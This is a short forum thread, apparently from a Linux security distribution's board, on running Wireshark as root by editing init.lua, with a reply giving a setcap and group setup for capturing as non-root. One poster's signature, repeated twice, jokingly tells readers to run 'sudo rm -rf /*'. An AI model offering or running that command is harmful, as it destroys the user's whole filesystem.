Running wireshark with sudo or gksudo (fix) !

Started by ZEROF, June 21, 2012, 03:07:41 PM

Previous topic - Next topic

ZEROF

Hi all,

If you try to run wireshark as root you will get this error :

sudo wireshark



To fix this error message open terminal any type :

sudo -i
nano /etc/wireshark/init.lua


Find line disable_lua = false and replace with disable_lua = true

Save and restart wireshark !

Don't ask, read : http://wiki.backbox.org
or just run sudo rm -rf /*

weVeg

una voce libera รจ sempre liberatrice
under_r00t

hackme


gayungan


encrypted

Hello ZEROF,

I want to thank you for posting that info - simply because I was doing a lot more work for the same product. Here is what I did to run as non-root but capture packets:
sudo apt-get install libcap2-bin
... then I had to create groups and lock that in..
groupadd wireshark
usermod -a -G wireshark stretch
newgrp wireshark
chgrp wireshark /usr/bin/dumpcap
chmod 750 /usr/bin/dumpcap

lastly... you had to give the ability to capture..
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap


I think I rather fiddle with the /etc/wireshark/init.lua more than anything else.

Ciao.
E.

ZEROF

Hi encrypted,

I know about that solution, but i preffered to find why this true/false issue made me crazy :).

Cheers !

Don't ask, read : http://wiki.backbox.org
or just run sudo rm -rf /*